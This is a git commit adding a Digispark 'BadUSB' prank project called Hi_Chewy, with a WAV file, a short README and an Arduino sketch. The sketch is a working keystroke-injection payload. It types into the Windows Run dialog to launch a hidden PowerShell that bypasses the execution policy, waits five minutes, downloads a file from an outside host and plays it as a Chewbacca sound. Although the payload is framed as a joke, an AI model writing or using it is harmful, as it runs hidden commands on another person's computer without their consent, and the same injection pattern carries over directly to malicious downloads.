Added Hi_Chewy

This commit is contained in:
apsecdev 2020-05-27 20:33:34 -04:00
parent 10559d9250
commit cc1d098475
3 changed files with 32 additions and 0 deletions

BIN
Hi_Chewy/Chewbacca.wav Normal file

Binary file not shown.

31
Hi_Chewy/Hi_Chewy.ino Normal file
View File

@ -0,0 +1,31 @@
//Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, and then
//waits 5 minutes and plays it
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("powershell -NoP -Win H -Noni -Exec Bypass"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("start-sleep 300;"));
DigiKeyboard.print(F("irm -uri \"https://badusb.dev/tr/files/Chewbacca.wav\" -OutFile \"$env:temp\\play.wav\";"));
DigiKeyboard.print(F("Add-Type -AssemblyName presentationCore;"));
DigiKeyboard.print(F("$filepath = [uri] \"$env:temp\\play.wav\";"));
DigiKeyboard.print(F("$wmplayer = New-Object System.Windows.Media.MediaPlayer;"));
DigiKeyboard.print(F("$wmplayer.Open($filepath);"));
DigiKeyboard.print(F("Start-Sleep 2;"));
DigiKeyboard.print(F("$duration = $wmplayer.NaturalDuration.TimeSpan.TotalSeconds;"));
DigiKeyboard.print(F("$wmplayer.Play();"));
DigiKeyboard.print(F("Start-Sleep $duration;"));
DigiKeyboard.print(F("$wmplayer.Stop();"));
DigiKeyboard.print(F("$wmplayer.Close();"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}

1
Hi_Chewy/README.md Normal file
View File

@ -0,0 +1 @@
Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, waits 5 minutes and then plays it.